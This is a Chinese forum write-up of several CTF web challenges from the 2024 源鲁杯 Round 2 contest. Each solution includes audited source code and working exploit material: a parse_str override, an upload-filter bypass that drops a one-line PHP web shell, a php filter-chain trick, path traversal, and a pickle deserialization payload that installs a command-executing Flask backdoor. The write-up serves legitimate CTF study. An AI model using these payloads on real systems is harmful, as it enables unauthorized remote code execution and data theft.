2024源鲁杯Round2 WEB
1315609050541697 发表于 湖北 CTF 397浏览 · 2024-10-25 00:41

Cmnts

源代码

<?php

include 'flag.php';

parse_str($_SERVER['QUERY_STRING']);
if (isset($pass)) {
    $key = md5($pass);

}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {

    echo $flag;

}
else {
    highlight_file(__FILE__);
}

parse_str来覆盖即可

get_th1s_f1ag.php?key=a7a795a8efb7c30151031c2cb700ddd9

PHUPE

关键代码如下

<?php

class FileModel {
    private $uploadDir = 'uploads/';
    public function getFileContent() {

        if (isset($_GET['file'])) {

            $file = $this->uploadDir . basename($_GET['file']);

            if (file_exists($file)) {

                return file_get_contents($file);
            }
        }
        return '';

    }

    public function uploadFile($file) {
        $name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);
        $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
        if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
            return false;
        }

        $data = file_get_contents($file['tmp_name']);
        if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){
            echo "<script>alert('恶意内容!')</script>";
            return false;
        }

        $target_file = $this->uploadDir .$name;

        if (move_uploaded_file($file['tmp_name'], $target_file)) {
            echo "<script>alert('文件上传成功!')</script>";
            return true;
        }
        return false;
    }
}

PHP代码审计:文件上传(绕过/.)_pathinfo 绕过-CSDN博客
在move_upload_file()中有一个特性,在文件移动时如果文件后存在/.,那会自动将.去掉,所以我们就可以使用该特性来绕过黑名单的检测,从而实现文件上传。

?name=1.php/.

<?=`$_POST[1]`?>

Pseudo

源码关键文件如下

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    $data = file_get_contents($_GET['file']);
    $file = tmpfile();
    fwrite($file, $data);
    fflush($file);
    $type = mime_content_type(stream_get_meta_data($file)['uri']);
    fclose($file);

    if (!in_array($type,['image/jpg','image/jpeg', 'image/png', 'image/gif'])) {
        echo "error!!!";
        exit;
    }else{
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="download.jpg"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        echo($data);
        exit;

    }

}

php filterchain伪造文件头读flag

python3 php_filter_chain_generator.py --chain 'GIF89a'

注意只能读没有后缀的文件,不然还是会判断不是图片文件
还有就是直接读读不全flag如下:
需要在payload前面加上一个base64编码

ezweb

export_notes?filename=../../../app/app.py

源码

import os
import pickle
from flask import Flask, render_template, request, redirect, url_for, flash, jsonify, send_file
from datetime import datetime
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.secret_key = 'MySe3re7K6y'
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024  # 16MB max-limit

# 确保上传文件夹存在
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)


class Note:
    def __init__(self, title, content):
        self.id = datetime.now().strftime('%Y%m%d%H%M%S')
        self.title = title
        self.content = content
        self.created_at = datetime.now()


class NoteManager:
    def __init__(self):
        self.notes = []
        self.file_name = "notes.pkl"
        self.file_path = "./notes/"
        self.file = os.path.join(self.file_path, self.file_name)
        self.load_notes()

    def add_note(self, title, content):
        note = Note(title, content)
        self.notes.append(note)
        self.save_notes()
        return note

    def get_note(self, note_id):
        for note in self.notes:
            if note.id == note_id:
                return note
        return None

    def update_note(self, note_id, title, content):
        note = self.get_note(note_id)
        if note:
            note.title = title
            note.content = content
            self.save_notes()
            return True
        return False

    def delete_note(self, note_id):
        self.notes = [note for note in self.notes if note.id != note_id]
        self.save_notes()

    def save_notes(self):

        with open(self.file, 'wb') as f:
            pickle.dump(self.notes, f)

    def load_notes(self):
        if os.path.exists(self.file):
            with open(self.file, 'rb') as f:
                self.notes = pickle.load(f)

    def import_notes(self, file_path):
        try:
            with open(file_path, 'rb') as f:
                imported_notes = pickle.load(f)
            self.notes.extend(imported_notes)
            self.save_notes()
            return len(imported_notes)
        except Exception as e:
            print(f"Import error: {e}")
            return 0


note_manager = NoteManager()


@app.route('/')
def index():
    return render_template('index.html', notes=note_manager.notes)


@app.route('/add', methods=['GET', 'POST'])
def add_note():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        note_manager.add_note(title, content)
        flash('笔记已添加成功', 'success')
        return redirect(url_for('index'))
    return render_template('add_note.html')


@app.route('/edit/<note_id>', methods=['GET', 'POST'])
def edit_note(note_id):
    note = note_manager.get_note(note_id)
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        if note_manager.update_note(note_id, title, content):
            flash('笔记已更新成功', 'success')
            return redirect(url_for('index'))
        flash('更新笔记失败', 'error')
    return render_template('edit_note.html', note=note)


@app.route('/delete/<note_id>')
def delete_note(note_id):
    note_manager.delete_note(note_id)
    flash('笔记已删除成功', 'success')
    return redirect(url_for('index'))


@app.route('/export_notes', methods=['GET'])
def export_notes():
    filename = request.args.get("filename")
    file_path = os.path.join(note_manager.file_path, filename)
    return send_file(file_path, as_attachment=True, download_name="notes_export.pkl")


@app.route('/import_notes', methods=['POST'])
def import_notes():
    if 'file' not in request.files:
        flash('没有文件', 'error')
        return redirect(url_for('index'))

    file = request.files['file']
    if file.filename == '':
        flash('没有选择文件', 'error')
        return redirect(url_for('index'))
    if file:
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        imported_count = note_manager.import_notes(file_path)
        os.remove(file_path)  # 删除临时文件
        if imported_count > 0:
            flash(f'成功导入 {imported_count} 条笔记', 'success')
        else:
            flash('导入失败,请检查文件格式', 'error')
        return redirect(url_for('index'))


if __name__ == '__main__':
    app.run(host='0.0.0.0')

审计代码发现导入文件功能存在pickle反序列化漏洞

通过测试没有回显并且不出网,我们构造flask 404内存马即可

import base64
import pickle


class A(object):
    def __reduce__(self):

        return (eval, ("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))



# 创建对象并序列化

a = A()

serialized_a = pickle.dumps(a, protocol=0)
# 将字节写入文件

file_path = 'serialized_object.pkl'

try:

    with open(file_path, 'wb') as f:

        f.write(serialized_a)

    print(f"字节已成功写入文件 {file_path}")

except Exception as e:

    print(f"写入文件时发生错误: {e}")

404

访问ca.php,F12禁用javascript,就不会刷新了,算出结果后提交

import numpy as np

html = """$temp1 = (622 / 835) * log(30);
$temp2 = sqrt(abs(566 - 651)) + pow(sin(90), 2);
$temp3 = $temp1 + ($temp2 * tan(620) / 720);
$temp4 = cos(341) * exp(log(288));
$answer = $temp3 + $temp4;"""
cal = html.replace("$", "").replace(";", "").strip()
global_env = {
    "answer": 0,
    "log": np.log,
    "sqrt": np.sqrt,
    "sin": np.sin,
    "cos": np.cos,
    "tan": np.tan,
    "pow": np.power,
    "exp": np.exp,
}
exec(cal, global_env)
ans = np.round(global_env["answer"], 2)
print(ans)
0 条评论
某人
表情
可输入 255
目录